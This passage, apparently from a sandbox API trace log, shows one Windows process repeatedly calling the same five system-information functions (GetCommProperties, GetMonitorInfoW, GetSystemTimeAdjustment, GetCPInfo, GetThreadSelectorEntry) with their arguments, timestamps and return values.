lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.036] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.036] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.036] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.036] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.037] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.037] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.037] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.037] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.037] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.037] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.037] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.037] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.037] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.037] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.037] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.037] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.037] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.037] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.037] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.037] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.037] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.037] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.037] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.037] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.037] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.038] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.038] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.038] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.038] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.038] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.038] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.038] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.038] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.038] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.038] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.038] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.038] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.038] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.038] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.038] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.038] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.038] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.038] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.038] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.038] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.039] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.039] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.039] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.039] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.039] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.039] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.039] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.039] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.039] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.039] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.039] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.039] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.039] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.039] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.039] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.039] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.039] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.039] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.039] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.039] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.039] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.040] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.040] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.040] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.040] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.040] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.040] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.040] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.040] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.040] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.040] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.040] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.040] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.040] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.040] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.040] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.040] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.040] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.040] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.040] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.040] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.041] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.041] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.041] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.041] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.041] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.041] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.041] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.041] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.041] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.041] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.041] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.041] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.041] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.041] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.041] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.042] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.042] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.042] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.042] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.042] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.042] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.042] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.042] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.042] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.042] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.042] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.042] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.042] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.042] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.042] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.042] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.042] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.042] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.042] GetSystemTimeAdjustment (in: 